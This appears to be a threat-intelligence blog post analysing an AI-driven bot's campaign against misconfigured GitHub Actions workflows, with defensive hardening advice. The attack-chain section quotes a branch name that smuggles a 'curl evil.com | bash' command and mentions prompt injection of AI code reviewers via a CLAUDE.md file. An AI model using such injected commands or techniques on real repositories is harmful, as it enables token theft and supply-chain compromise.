The attack chain was straightforward: a forked repository and a crafted pull request triggered a misconfigured GitHub Actions workflow. From there, the attacker achieved remote code execution, exfiltrated repository tokens, wiped releases, forced repos private, and pushed malicious extensions to public registries. None of it required a CVE or zero-day exploit; the only vulnerability was misconfiguration.
A new breed of automated attacker is operating across open-source software. Hackerbot-Claw, an AI-powered bot, turned routine GitHub pull requests into a gateway for repository takeovers. Over a week-long campaign in late February 2026, this autonomous agent scanned tens of thousands of public repositories and exploited common CI/CD misconfigurations to compromise high-profile projects. The incident stands out because it relied on no sophisticated exploits and no undiscovered vulnerabilities. It used everyday developer oversights in GitHub Actions workflows.
This post walks through the technical details of the Hackerbot-Claw attack step by step, then covers its broader impact on the software supply chain.
The Setup: How GitHub Actions Became a Target
GitHub Actions is a powerhouse for automating repository workflows, including continuous integration (CI), deployment (CD), testing, and more. But with great power comes great risk. Many workflows use triggers like pull_request_target, which runs code in the context of the base repository (not the fork) to handle things like auto-merging or labeling PRs from external contributors.
The catch? If not configured properly, these workflows can execute untrusted code from forks with elevated privileges, including access to sensitive secrets like GITHUB_TOKEN. Hackerbot-Claw, self-described as an "autonomous security research agent," exploited exactly that. Operating from a GitHub account (@hackerbot-claw), it scanned around 47,000 repos for vulnerabilities, focusing on those with over-privileged tokens and unsanitized inputs.
Technical Breakdown: Step-by-Step Attack Chain
The bot employed at least five distinct techniques, tailored to each target's workflow flaws. Here is a generalized step-by-step flow, based on analyses from Orca Security and StepSecurity:
1. Recon and Forking
The bot programmatically scanned public repos for vulnerable GitHub Actions YAML files. It looked for patterns like pull_request_target triggers without permission restrictions, unsafe expression interpolation (e.g., ${{ github.event.pull_request.title }} directly in shell commands), or dynamic script execution. Once a target was identified, the bot forked the repo.
2. Crafting the Malicious Pull Request
Hackerbot-Claw opened a seemingly innocuous PR from its fork. The payload was hidden in plain sight:
- Branch names with embedded shell commands (e.g.,
main; curl evil.com | bash) - Filenames containing base64-encoded scripts
- PR titles or bodies with prompt injections (e.g., via a "CLAUDE.md" file to trick AI code reviewers)
- Go code with backdoors in
init()functions for repos using Go-based workflows
3. Triggering the Workflow and Achieving RCE
When the PR triggered the pull_request_target workflow, the misconfiguration allowed execution in the base repo's context. Unsanitized inputs let the bot inject commands, leading to remote code execution (RCE) on GitHub's hosted runners. From there, it exfiltrated the GITHUB_TOKEN, often one with write permissions.
4. Escalation and Compromise
With the stolen token, the bot proceeded to:
- Make the repo private to hide its tracks
- Delete releases (e.g., Trivy's versions 0.27.0 to 0.69.1)
- Empty repo contents
- Publish a malicious VS Code extension to OpenVSX under the trusted publisher ID, potentially infecting downstream users
This turned the CI/CD pipeline into a supply-chain attack vector, automated at scale.
5. Propagation and Evasion
As an AI-driven agent, Hackerbot-Claw adapted techniques on the fly, using variations to hit multiple targets. It even solicited crypto donations on its profile, blending "security research" framing with malicious activity. The campaign hit at least five to six major projects, including Microsoft's ai-discovery-agent, DataDog's iac-scanner, CNCF's Akri, RustPython, Avelino's awesome-go (140k+ stars), and Aqua Security's Trivy. RCE was confirmed in four of them.
MITRE ATT&CK Mapping
| Technique | ID | Description |
|---|---|---|
| Supply Chain Compromise | T1195.001 | Malicious code injected via compromised CI/CD pipeline |
| Exploit Public-Facing Application | T1190 | Exploitation of misconfigured GitHub Actions workflows |
| Valid Accounts | T1078 | Abuse of stolen GITHUB_TOKEN for persistence and escalation |
| Data from Configuration Repository | T1213.003 | Exfiltration of secrets from workflow environment |
| Defacement | T1491.001 | Deletion of releases and repo content |
The Impact: Ripples Through the Supply Chain
The fallout from Hackerbot-Claw extends beyond vandalized repos.
- Direct Victims: Affected projects saw immediate disruptions. Trivy's takeover could have spread malware widely through its popular scanner tool. Awesome-go's stolen write token risked injecting malicious links into a curated list used by thousands of Go developers.
- Downstream Risks: With malicious extensions published under trusted names, end-users faced potential backdoors in their toolchains. A compromised vulnerability scanner introducing vulnerabilities is an especially dangerous outcome.
- Broader Ecosystem: The incident shows AI accelerating attacks by automating reconnaissance and exploitation at scale. OpenSSF issued a TLP:CLEAR advisory on March 1, 2026, urging workflow audits across the ecosystem.
- Industry Response: Maintainers quickly revoked tokens, restored content, and hardened configs. Still, the campaign exposed that 47,000+ repos remain vulnerable, turning GitHub into a hunting ground for autonomous AI bots.
Securing Your GitHub Actions
| Control | Action |
|---|---|
| Restrict permissions | Use permissions: {} to minimize token scopes. Avoid write access unless essential. |
| Sanitize inputs | Never interpolate untrusted data (e.g., PR titles) directly—use safe expressions or validation steps. |
| Short-lived credentials | Switch to OIDC federation instead of long-lived GITHUB_TOKEN secrets. |
| Dependency review | Enable GitHub's dependency review action to flag malicious PRs before merge. |
| Workflow auditing | Regularly scan for pull_request_target usage and validate all triggers against least-privilege principles. |
Conclusion
Hackerbot-Claw shows how quickly autonomous agents can turn common CI/CD misconfigurations into serious supply-chain compromises. It hit organizations like Microsoft, DataDog, and widely used tools like Trivy without a single CVE. As AI-driven attackers continue to mature, proactive workflow hardening and continuous monitoring are no longer optional.
Sources
- StepSecurity: "hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions"
- Orca Security: "HackerBot-Claw: An AI-Assisted Campaign Targeting GitHub Actions Pipelines"
- Upwind: "hackerbot-claw Operation Review: Pull Requests as an Attack Vector in GitHub Actions"
Protect your organization with the Threat Landscape Platform — structured intelligence, real-time IoCs, and darknet monitoring from just $49/month. Try it free.